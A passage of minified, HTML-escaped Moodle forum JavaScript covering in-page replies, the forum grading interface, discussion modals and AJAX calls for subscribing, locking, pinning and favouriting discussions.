inPageReplyContainer=getInPageReplyContainer(postContainer),repliesVisibilityToggleContainer=getRepliesVisibilityToggleContainer(postContainer),inPageReplyCreateButton=getInPageReplyCreateButton(postContainer);if(!hasInPageReplyForm(inPageReplyContainer)){try{const html=await renderInPageReplyTemplate(additionalTemplateContext,inPageReplyCreateButton,postContainer);_templates.default.appendNodeContents(inPageReplyContainer,html,&quot;&quot;)}catch(e){_notification.default.exception(e)}FormChangeChecker.watchForm(postContainer[0].querySelector(&quot;form&quot;))}inPageReplyCreateButton.fadeOut(150,(()=&gt;{const inPageReplyForm=getInPageReplyForm(postContainer);inPageReplyForm.slideDown({duration:150,queue:!1,complete:()=&gt;{inPageReplyForm.find(&quot;textarea&quot;).focus()}}).css(&quot;display&quot;,&quot;none&quot;).fadeIn(150),repliesVisibilityToggleContainer.length&amp;&amp;hasReplies(postContainer)&amp;&amp;(repliesVisibilityToggleContainer.fadeIn(150),hideReplies(postContainer))}))},registerEventListeners(root),_discussion.default.init(root),_inpage_reply.default.init(root);const discussionToolsContainer=root.find(_selectors.default.discussion.tools);_lock_toggle.default.init(discussionToolsContainer,!1),_favourite_toggle.default.init(discussionToolsContainer,!1,((toggleElement,response)=&gt;{const newTargetState=response.userstate.favourited?0:1;return toggleElement.data(&quot;targetstate&quot;,newTargetState)})),_pin_toggle.default.init(discussionToolsContainer,!1,((toggleElement,response)=&gt;{const newTargetState=response.pinned?0:1;return toggleElement.data(&quot;targetstate&quot;,newTargetState)})),_subscription_toggle.default.init(discussionToolsContainer,!1,((toggleElement,response)=&gt;{const newTargetState=response.userstate.subscribed?0:1;toggleElement.data(&quot;targetstate&quot;,newTargetState)}))}}));
define(&quot;mod_forum/grades/grader&quot;,[&quot;exports&quot;,&quot;./grader/selectors&quot;,&quot;mod_forum/repository&quot;,&quot;core/templates&quot;,&quot;../local/grades/grader&quot;,&quot;core/notification&quot;,&quot;core_course/repository&quot;,&quot;core/url&quot;],(function(_exports,Selectors,_repository,_templates,Grader,_notification,_repository2,_url){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}
/**
   * This module will tie together all of the different calls the gradable module will make.
   *
   * @module     mod_forum/grades/grader
   * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.registerLaunchListeners=void 0,Selectors=_interopRequireWildcard(Selectors),_repository=_interopRequireDefault(_repository),_templates=_interopRequireDefault(_templates),Grader=_interopRequireWildcard(Grader),_notification=_interopRequireDefault(_notification),_repository2=_interopRequireDefault(_repository2);const templateNames_contentRegion=&quot;mod_forum/grades/grader/discussion/posts&quot;,getContentForUserIdFunction=(cmid,experimentalDisplayMode)=&gt;userid=&gt;_repository.default.getDiscussionByUserID(userid,cmid).then((context=&gt;(context.discussions=context.discussions.map(discussionPostMapper),context.experimentaldisplaymode=!!experimentalDisplayMode,_templates.default.render(templateNames_contentRegion,context)))).catch(_notification.default.exception),getUsersForCmidFunction=(cmid,groupID)=&gt;async()=&gt;(await _repository2.default.getUsersFromCourseModuleID(cmid,groupID)).users,findGradableNode=node=&gt;node.closest(Selectors.gradableItem),discussionPostMapper=discussion=&gt;{const parentMap=new Map;discussion.posts.parentposts.forEach((post=&gt;parentMap.set(post.id,post)));const userPosts=discussion.posts.userposts.map((post=&gt;{post.readonly=!0,post.hasreplies=!1,post.replies=[];const parent=post.parentid?parentMap.get(post.parentid):null;return parent&amp;&amp;(parent.hasreplies=!1,parent.replies=[],parent.readonly=!0,post.parentauthorname=parent.author.fullname),{parent:parent,post:post}}));return{...discussion,posts:userPosts}};_exports.registerLaunchListeners=()=&gt;{document.addEventListener(&quot;click&quot;,(async e=&gt;{if(e.target.matches(Selectors.launch)){const rootNode=findGradableNode(e.target);if(!rootNode)throw Error(&quot;Unable to find a gradable item&quot;);if(!rootNode.matches(Selectors.gradableItems.wholeForum))throw Error(&quot;Unable to find a valid gradable item&quot;);e.preventDefault();try{await async function(rootNode){let{focusOnClose:focusOnClose=null}=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};const data=rootNode.dataset,gradingPanelFunctions=await Grader.getGradingPanelFunctions(&quot;mod_forum&quot;,data.contextid,data.gradingComponent,data.gradingComponentSubtype,data.gradableItemtype),groupID=data.group?data.group:0;await Grader.launch(getUsersForCmidFunction(data.cmid,groupID),getContentForUserIdFunction(data.cmid,&quot;1&quot;==data.experimentalDisplayMode),gradingPanelFunctions.getter,gradingPanelFunctions.setter,{groupid:data.groupid,initialUserId:data.initialuserid,moduleName:data.name,courseName:data.courseName,courseUrl:(0,_url.relativeUrl)(&quot;/course/view.php&quot;,{id:data.courseId}),sendStudentNotifications:data.sendStudentNotifications,focusOnClose:focusOnClose})}(rootNode,{focusOnClose:e.target})}catch(error){_notification.default.exception(error)}}if(e.target.matches(Selectors.viewGrade)){e.preventDefault();const rootNode=findGradableNode(e.target);if(!rootNode)throw Error(&quot;Unable to find a gradable item&quot;);if(!rootNode.matches(Selectors.gradableItems.wholeForum))throw Error(&quot;Unable to find a valid gradable item&quot;);e.preventDefault();try{await async function(rootNode){let{focusOnClose:focusOnClose=null}=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};const data=rootNode.dataset,gradingPanelFunctions=await Grader.getGradingPanelFunctions(&quot;mod_forum&quot;,data.contextid,data.gradingComponent,data.gradingComponentSubtype,data.gradableItemtype);await Grader.view(gradingPanelFunctions.getter,data.userid,data.name,{focusOnClose:focusOnClose})}(rootNode,{focusOnClose:e.target})}catch(error){_notification.default.exception(error)}}}))}}));
define(&quot;mod_forum/grades/grader/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default={launch:&#039;[data-grade-action=&quot;launch&quot;]&#039;,gradableItem:&quot;[data-gradable-itemtype]&quot;,gradableItems:{wholeForum:&#039;[data-gradable-itemtype=&quot;forum&quot;]&#039;},expandConversation:&#039;[data-action=&quot;view-context&quot;]&#039;,posts:&#039;[data-region=&quot;posts&quot;]&#039;,viewGrade:&#039;[data-grade-action=&quot;view&quot;]&#039;},_exports.default}));
define(&quot;mod_forum/grades/expandconversation&quot;,[&quot;exports&quot;,&quot;./grader/selectors&quot;,&quot;mod_forum/repository&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;],(function(_exports,ForumSelectors,_repository,_notification,_templates,Modal,ModalEvents){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}
/**
   * This module handles the creation of a Modal that shows the user&#039;s post in context of the entire discussion.
   *
   * @module     mod_forum/grades/expandconversation
   * @copyright  2019 Mathew May &lt;mathew.solutions&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.registerEventListeners=void 0,ForumSelectors=_interopRequireWildcard(ForumSelectors),_repository=_interopRequireDefault(_repository),_templates=_interopRequireDefault(_templates),Modal=_interopRequireWildcard(Modal),ModalEvents=_interopRequireWildcard(ModalEvents);_exports.registerEventListeners=rootNode=&gt;{rootNode.addEventListener(&quot;click&quot;,(e=&gt;{const rootNode=e.target.closest(ForumSelectors.expandConversation);if(rootNode){e.preventDefault();try{!async function(rootNode){let{focusOnClose:focusOnClose=null}=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};const postId=rootNode.dataset.postid,discussionId=rootNode.dataset.discussionid,discussionName=rootNode.dataset.name,experimentalDisplayMode=&quot;1&quot;==rootNode.dataset.experimentalDisplayMode,[allPosts,modal]=await Promise.all([_repository.default.getDiscussionPosts(parseInt(discussionId)),Modal.create({title:discussionName,large:!0,type:Modal.types.CANCEL})]),postsById=new Map(allPosts.posts.map((post=&gt;(post.readonly=!0,post.hasreplies=!1,post.replies=[],[post.id,post]))));let posts=[];allPosts.posts.forEach((post=&gt;{if(post.parentid){const parent=postsById.get(post.parentid);parent?(post.parentauthorname=parent.author.fullname,parent.hasreplies=!0,parent.replies.push(post)):posts.push(post)}else posts.push(post)})),modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy();try{focusOnClose.focus()}catch(e){}})),modal.getRoot().on(ModalEvents.bodyRendered,(()=&gt;{const relevantPost=modal.getRoot()[0].querySelector(&quot;#p&quot;.concat(postId));relevantPost&amp;&amp;relevantPost.scrollIntoView({behavior:&quot;smooth&quot;})})),modal.show();const templatePromise=_templates.default.render(&quot;mod_forum/grades/grader/discussion/post_modal&quot;,{posts:posts,experimentaldisplaymode:experimentalDisplayMode});modal.setBody(templatePromise)}(rootNode,{focusOnClose:e.target})}catch(err){(0,_notification.exception)(err)}}}))}}));
/**
 * Forum repository class to encapsulate all of the AJAX requests that subscribe or unsubscribe
 * can be sent for forum.
 *
 * @module     mod_forum/repository
 * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_forum/repository&quot;,[&quot;core/ajax&quot;],(function(Ajax){return{setDiscussionSubscriptionState:function(forumId,discussionId,targetState){var request={methodname:&quot;mod_forum_set_subscription_state&quot;,args:{forumid:forumId,discussionid:discussionId,targetstate:targetState}};return Ajax.call([request])[0]},addDiscussionPost:function(postid,subject,message,messageformat,isprivatereply,topreferredformat){var request={methodname:&quot;mod_forum_add_discussion_post&quot;,args:{postid:postid,message:message,messageformat:messageformat,subject:subject,options:[{name:&quot;private&quot;,value:isprivatereply},{name:&quot;topreferredformat&quot;,value:topreferredformat}]}};return Ajax.call([request])[0]},setDiscussionLockState:function(forumId,discussionId,targetState){var request={methodname:&quot;mod_forum_set_lock_state&quot;,args:{forumid:forumId,discussionid:discussionId,targetstate:targetState}};return Ajax.call([request])[0]},setFavouriteDiscussionState:function(forumId,discussionId,targetState){var request={methodname:&quot;mod_forum_toggle_favourite_state&quot;,args:{discussionid:discussionId,targetstate:targetState}};return Ajax.call([request])[0]},setPinDiscussionState:function(forumid,discussionid,targetstate){var request={methodname:&quot;mod_forum_set_pin_state&quot;,args:{discussionid:discussionid,targetstate:targetstate}};return Ajax.call([request])[0]},getDiscussionByUserID:function(userid,cmid){let sortby=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:&quot;modified&quot;,sortdirection=arguments.length&gt;3&amp;&amp;void 0!==arguments[3]?arguments[3]:&quot;DESC&quot;;var request={methodname:&quot;mod_forum_get_discussion_posts_by_userid&quot;,args:{userid:userid,cmid:cmid,sortby:sortby,sortdirection:sortdirection}};return Ajax.call([request])[0]},getDiscussionPosts:function(discussionId){let sortby=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:&quot;created&quot;,sortdirection=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:&quot;ASC&quot;;var request={methodname:&quot;mod_forum_get_discussion_posts&quot;,args:{discussionid:discussionId,sortby:sortby,sortdirection:sortdirection}};return Ajax.call([request])[0]}}}));
/**
 * Module for the list of discussions on when viewing a forum.
 *
 * @module     mod_forum/discussion_list
 * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_forum/discussion_list&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/str&quot;,&quot;core/notification&quot;,&quot;mod_forum/subscription_toggle&quot;,&quot;mod_forum/selectors&quot;,&quot;mod_forum/repository&quot;,&quot;core/pubsub&quot;,&quot;mod_forum/forum_events&quot;],(function($,Templates,Str,Notification,SubscriptionToggle,Selectors,Repository,PubSub,ForumEvents){return{init:function(root){SubscriptionToggle.init(root,!1,(function(toggleElement,context){var toggleId=toggleElement.attr(&quot;id&quot;),newTargetState=context.userstate.subscribed?0:1;toggleElement.data(&quot;targetstate&quot;,newTargetState);var stringKey=context.userstate.subscribed?&quot;unsubscribediscussion&quot;:&quot;subscribediscussion&quot;;return Str.get_string(stringKey,&quot;mod_forum&quot;).then((function(string){return toggleElement.closest(&quot;td&quot;).find(&#039;label[for=&quot;&#039;+toggleId+&#039;&quot;]&#039;).find(&quot;span&quot;).text(string),string}))})),function(root){PubSub.subscribe(ForumEvents.SUBSCRIPTION_TOGGLED,(function(data){var discussionId=data.discussionId,subscribed=data.subscriptionState,discussionListItem=root.find(Selectors.discussion.item+&quot;[data-discussionid= &quot;+discussionId+&quot;]&quot;),subscribedLabel=discussionListItem.find(Selectors.discussion.subscribedLabel);subscribed?(discussionListItem.addClass(&quot;subscribed&quot;),subscribedLabel.removeAttr(&quot;hidden&quot;)):(discussionListItem.removeClass(&quot;subscribed&quot;),subscribedLabel.attr(&quot;hidden&quot;,!0))})),root.on(&quot;click&quot;,Selectors.favourite.toggle,(function(){var toggleElement=$(this),forumId=toggleElement.data(&quot;forumid&quot;),discussionId=toggleElement.data(&quot;discussionid&quot;),subscriptionState=toggleElement.data(&quot;targetstate&quot;);Repository.setFavouriteDiscussionState(forumId,discussionId,subscriptionState).then((function(){return location.reload()})).catch(Notification.exception)})),root.on(&quot;click&quot;,Selectors.pin.toggle,(function(e){e.preventDefault();var toggleElement=$(this),forumId=toggleElement.data(&quot;forumid&quot;),discussionId=toggleElement.data(&quot;discussionid&quot;),state=toggleElement.data(&quot;targetstate&quot;);Repository.setPinDiscussionState(forumId,discussionId,state).then((function(){return location.reload()})).catch(Notification.exception)})),root.on(&quot;click&quot;,Selectors.lock.toggle,(function(e){var toggleElement=$(this),forumId=toggleElement.data(&quot;forumid&quot;),discussionId=toggleElement.data(&quot;discussionid&quot;),state=toggleElement.data(&quot;state&quot;);Repository.setDiscussionLockState(forumId,discussionId,state).then((function(context){var icon=toggleElement.parents(Selectors.summary.actions).find(Selectors.lock.icon),lockedLabel=toggleElement.parents(Selectors.discussion.item).find(Selectors.discussion.lockedLabel);return context.locked?(icon.removeClass(&quot;hidden&quot;),lockedLabel.removeAttr(&quot;hidden&quot;)):(icon.addClass(&quot;hidden&quot;),lockedLabel.attr(&quot;hidden&quot;,!0)),context})).then((function(context){return context.forumid=forumId,Templates.render(&quot;mod_forum/discussion_lock_toggle&quot;,context)})).then((function(html,js){return Templates.replaceNode(toggleElement,html,js)})).then((function(){return Str.get_string(&quot;lockupdated&quot;,&quot;forum&quot;).done((function(s){return Notification.addNotification({message:s,type:&quot;info&quot;})}))})).catch(Notification.exception),e.preventDefault()}))}(root)}}}));
/**
 * Handle discussion subscription toggling on a discussion list in
 * the forum view.
 *
 * @module     mod_forum/favourite_toggle
 * @copyright  2019 Peter Dias &lt;peter@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_forum/favourite_toggle&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;mod_forum/repository&quot;,&quot;mod_forum/selectors&quot;,&quot;core/str&quot;],(function($,Templates,Notification,Repository,Selectors,String){return{init:function(root,preventDefault,callback){root.on(&quot;click&quot;,Selectors.favourite.toggle,(function(e){var toggleElement=$(this),forumId=toggleElement.data(&quot;forumid&quot;),discussionId=toggleElement.data(&quot;discussionid&quot;),subscriptionState=toggleElement.data(&quot;targetstate&quot;);Repository.setFavouriteDiscussionState(forumId,discussionId,subscriptionState).then((function(context){return callback(toggleElement,context)})).then((function(){return String.get_string(&quot;favouriteupdated&quot;,&quot;forum&quot;).done((function(s){return Notification.addNotification({message:s,type:&quot;info&quot;})}))})).catch(Notification.exception),preventDefault&amp;&amp;e.preventDefault()}))}}}));
define(&quot;mod_forum/local/layouts&quot;,[&quot;exports&quot;,&quot;./layout/fullscreen&quot;],(function(_exports,_fullscreen){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),Object.defineProperty(_exports,&quot;createFullScreenWindow&quot;,{enumerable:!0,get:function(){return _fullscreen.createLayout}})}));
define(&quot;mod_forum/local/grades/grader&quot;,[&quot;exports&quot;,&quot;core/templates&quot;,&quot;./local/grader/selectors&quot;,&quot;./local/grader/user_picker&quot;,&quot;mod_forum/local/layout/fullscreen&quot;,&quot;./local/grader/gradingpanel&quot;,&quot;core/toast&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core_grades/grades/grader/gradingpanel/normalise&quot;,&quot;core/loadingicon&quot;,&quot;core/utils&quot;,&quot;core_grades/grades/grader/gradingpanel/comparison&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/pubsub&quot;,&quot;core/drawer_events&quot;],(function(_exports,_templates,_selectors,_user_picker,_fullscreen,_gradingpanel,_toast,_notification,_str,_normalise,_loadingicon,_utils,_comparison,Modal,ModalEvents,_pubsub,_drawer_events){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * This module will tie together all of the different calls the gradable module will make.
   *
   * @module     mod_forum/local/grades/grader
   * @copyright  2019 Mathew May &lt;mathew.solutions&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),Object.defineProperty(_exports,&quot;getGradingPanelFunctions&quot;,{enumerable:!0,get:function(){return _gradingpanel.default}}),_exports.view=_exports.launch=void 0,_templates=_interopRequireDefault(_templates),_selectors=_interopRequireDefault(_selectors),_user_picker=_interopRequireDefault(_user_picker),_gradingpanel=_interopRequireDefault(_gradingpanel),Modal=_interopRequireWildcard(Modal),ModalEvents=_interopRequireWildcard(ModalEvents),_drawer_events=_interopRequireDefault(_drawer_events);const templateNames_grader={app:&quot;mod_forum/local/grades/grader&quot;,gradingPanel:{error:&quot;mod_forum/local/grades/local/grader/gradingpanel/error&quot;},searchResults:&quot;mod_forum/local/grades/local/grader/user_picker/user_search&quot;,status:&quot;mod_forum/local/grades/local/grader/status&quot;},displayUserPicker=(root,html)=&gt;{const pickerRegion=root.querySelector(_selectors.default.regions.pickerRegion);_templates.default.replaceNodeContents(pickerRegion,html,&quot;&quot;)},fetchContentFromRender=(html,js)=&gt;[html,js],getUpdateUserContentFunction=(root,getContentForUser,getGradeForUser,saveGradeForUser)=&gt;{let firstLoad=!0;return async user=&gt;{const spinner=firstLoad?null:(0,_loadingicon.addIconToContainerWithPromise)(root),[[html,js],userGrade]=await Promise.all([getContentForUser(user.id).then(fetchContentFromRender),getGradeForUser(user.id)]);_templates.default.replaceNodeContents(root.querySelector(_selectors.default.regions.moduleReplace),html,js);const[gradingPanelHtml,gradingPanelJS]=await _templates.default.render(userGrade.templatename,userGrade.grade).then(fetchContentFromRender),panelContainer=root.querySelector(_selectors.default.regions.gradingPanelContainer),panel=panelContainer.querySelector(_selectors.default.regions.gradingPanel);_templates.default.replaceNodeContents(panel,gradingPanelHtml,gradingPanelJS);const form=panel.querySelector(&quot;form&quot;);return(0,_comparison.fillInitialValues)(form),form.addEventListener(&quot;submit&quot;,(event=&gt;{saveGradeForUser(user),event.preventDefault()})),panelContainer.scrollTop=0,firstLoad=!1,spinner&amp;&amp;spinner.resolve(),userGrade}},hideSearchResultContainer=(bodyContainer,userPickerContainer,searchResultsContainer)=&gt;{bodyContainer.classList.remove(&quot;hidden&quot;),userPickerContainer.classList.remove(&quot;hidden&quot;),searchResultsContainer.classList.add(&quot;hidden&quot;)},hideUserSearchInput=(toggleSearchButton,searchContainer,searchInput)=&gt;{searchContainer.classList.add(&quot;collapsed&quot;),toggleSearchButton.setAttribute(&quot;aria-expanded&quot;,&quot;false&quot;),toggleSearchButton.classList.add(&quot;collapse&quot;),toggleSearchButton.classList.remove(&quot;expand&quot;),toggleSearchButton.focus();searchContainer.parentElement.querySelector(_selectors.default.regions.gradingInfoContainer).removeAttribute(&quot;aria-hidden&quot;);const collapseGradingDrawer=searchContainer.parentElement.querySelector(_selectors.default.buttons.collapseGradingDrawer);collapseGradingDrawer.removeAttribute(&quot;aria-hidden&quot;),collapseGradingDrawer.setAttribute(&quot;tabindex&quot;,&quot;0&quot;),searchInput.value=&quot;&quot;},renderSearchResults=async(searchResultsContainer,users)=&gt;{const{html:html,js:js}=await _templates.default.renderForPromise(templateNames_grader.searchResults,{users:users});_templates.default.replaceNodeContents(searchResultsContainer,html,js)},registerEventListeners=(graderLayout,userPicker,saveGradeFunction,userList)=&gt;{const graderContainer=graderLayout.getContainer(),toggleSearchButton=graderContainer.querySelector(_selectors.default.buttons.toggleSearch),searchInputContainer=graderContainer.querySelector(_selectors.default.regions.userSearchContainer),searchInput=searchInputContainer.querySelector(_selectors.default.regions.userSearchInput),bodyContainer=graderContainer.querySelector(_selectors.default.regions.bodyContainer),userPickerContainer=graderContainer.querySelector(_selectors.default.regions.pickerRegion),searchResultsContainer=graderContainer.querySelector(_selectors.default.regions.searchResultsContainer);graderContainer.addEventListener(&quot;click&quot;,(e=&gt;{if(e.target.closest(_selectors.default.buttons.toggleFullscreen))return e.stopImmediatePropagation(),e.preventDefault(),void graderLayout.toggleFullscreen();if(e.target.closest(_selectors.default.buttons.closeGrader))return e.stopImmediatePropagation(),e.preventDefault(),void graderLayout.close();if(e.target.closest(_selectors.default.buttons.saveGrade)&amp;&amp;saveGradeFunction(userPicker.currentUser),e.target.closest(_selectors.default.buttons.toggleSearch))return void(&quot;true&quot;===toggleSearchButton.getAttribute(&quot;aria-expanded&quot;)?(hideUserSearchInput(toggleSearchButton,searchInputContainer,searchInput),hideSearchResultContainer(bodyContainer,userPickerContainer,searchResultsContainer),searchResultsContainer.innerHTML=&quot;&quot;):(((toggleSearchButton,searchContainer,searchInput)=&gt;{searchContainer.classList.remove(&quot;collapsed&quot;),toggleSearchButton.setAttribute(&quot;aria-expanded&quot;,&quot;true&quot;),toggleSearchButton.classList.add(&quot;expand&quot;),toggleSearchButton.classList.remove(&quot;collapse&quot;),searchContainer.parentElement.querySelector(_selectors.default.regions.gradingInfoContainer).setAttribute(&quot;aria-hidden&quot;,&quot;true&quot;);const collapseGradingDrawer=searchContainer.parentElement.querySelector(_selectors.default.buttons.collapseGradingDrawer);collapseGradingDrawer.setAttribute(&quot;aria-hidden&quot;,&quot;true&quot;),collapseGradingDrawer.setAttribute(&quot;tabindex&quot;,&quot;-1&quot;),searchInput.focus()})(toggleSearchButton,searchInputContainer,searchInput),((bodyContainer,userPickerContainer,searchResultsContainer)=&gt;{bodyContainer.classList.add(&quot;hidden&quot;),userPickerContainer.classList.add(&quot;hidden&quot;),searchResultsContainer.classList.remove(&quot;hidden&quot;)})(bodyContainer,userPickerContainer,searchResultsContainer),renderSearchResults(searchResultsContainer,userList)));const selectUserButton=e.target.closest(_selectors.default.buttons.selectUser);if(selectUserButton){const userId=selectUserButton.getAttribute(&quot;data-userid&quot;),user=userList.find((user=&gt;user.id==userId));userPicker.setUserId(userId),userPicker.showUser(user),hideUserSearchInput(toggleSearchButton,searchInputContainer,searchInput),hideSearchResultContainer(bodyContainer,userPickerContainer,searchResultsContainer),searchResultsContainer.innerHTML=&quot;&quot;}})),searchInput.addEventListener(&quot;input&quot;,(0,_utils.debounce)((()=&gt;{const users=((userList,searchTerm)=&gt;&quot;&quot;===searchTerm?userList:(searchTerm=searchTerm.toLowerCase(),userList.filter((user=&gt;user.fullname.toLowerCase().includes(searchTerm)))))(userList,searchInput.value);renderSearchResults(searchResultsContainer,users)}),300)),(0,_pubsub.subscribe)(_drawer_events.default.DRAWER_HIDDEN,(drawerRoot=&gt;{drawerRoot[0].querySelector(_selectors.default.regions.gradingPanel)&amp;&amp;setContentContainerMargin(graderContainer,0)})),(0,_pubsub.subscribe)(_drawer_events.default.DRAWER_SHOWN,(drawerRoot=&gt;{const gradingPanel=drawerRoot[0];gradingPanel.querySelector(_selectors.default.regions.gradingPanel)&amp;&amp;setContentContainerMargin(graderContainer,gradingPanel.offsetWidth)}))},setContentContainerMargin=(graderContainer,rightMargin)=&gt;{const contentContainer=graderContainer.querySelector(_selectors.default.regions.moduleContainer);contentContainer&amp;&amp;(contentContainer.style.marginRight=&quot;&quot;.concat(rightMargin,&quot;px&quot;))},getSaveUserGradeFunction=(root,setGradeForUser)=&gt;async user=&gt;{try{root.querySelector(_selectors.default.regions.gradingPanelErrors).innerHTML=&quot;&quot;;const result=await setGradeForUser(user.id,root.querySelector(_selectors.default.values.sendStudentNotifications).value,root.querySelector(_selectors.default.regions.gradingPanel));return result.success&amp;&amp;(0,_toast.add)(await(0,_str.get_string)(&quot;grades:gradesavedfor&quot;,&quot;mod_forum&quot;,user)),result.failed&amp;&amp;displayGradingError(root,user,result.error),result}catch(err){return displayGradingError(root,user,err),(0,_normalise.failedUpdate)(err)}},displayGradingError=async(root,user,err)=&gt;{const[{html:html,js:js},errorString]=await Promise.all([_templates.default.renderForPromise(templateNames_grader.gradingPanel.error,{error:err}),await(0,_str.get_string)(&quot;grades:gradesavefailed&quot;,&quot;mod_forum&quot;,{error:err.message,...user})]);_templates.default.replaceNodeContents(root.querySelector(_selectors.default.regions.gradingPanelErrors),html,js),(0,_toast.add)(errorString,{type:&quot;warning&quot;})};_exports.launch=async function(getListOfUsers,getContentForUser,getGradeForUser,setGradeForUser){let{initialUserId:initialUserId=null,moduleName:moduleName,courseName:courseName,courseUrl:courseUrl,sendStudentNotifications:sendStudentNotifications,focusOnClose:focusOnClose=null}=arguments.length&gt;4&amp;&amp;void 0!==arguments[4]?arguments[4]:{};const userList=await getListOfUsers();if(!userList.length)return void(0,_notification.addNotification)({message:await(0,_str.get_string)(&quot;nouserstograde&quot;,&quot;core_grades&quot;),type:&quot;error&quot;});const[graderLayout,{html:html,js:js}]=await Promise.all([(0,_fullscreen.createLayout)({fullscreen:!1,showLoader:!1,focusOnClose:focusOnClose}),_templates.default.renderForPromise(templateNames_grader.app,{moduleName:moduleName,courseName:courseName,courseUrl:courseUrl,drawer:{show:!0},defaultsendnotifications:sendStudentNotifications})]),graderContainer=graderLayout.getContainer(),saveGradeFunction=getSaveUserGradeFunction(graderContainer,setGradeForUser);_templates.default.replaceNodeContents(graderContainer,html,js);const updateUserContent=getUpdateUserContentFunction(graderContainer,getContentForUser,getGradeForUser,saveGradeFunction),userIds=userList.map((user=&gt;user.id)),statusContainer=graderContainer.querySelector(_selectors.default.regions.statusContainer),userPicker=await(0,_user_picker.default)(userList,(async user=&gt;{const renderContext={status:(await 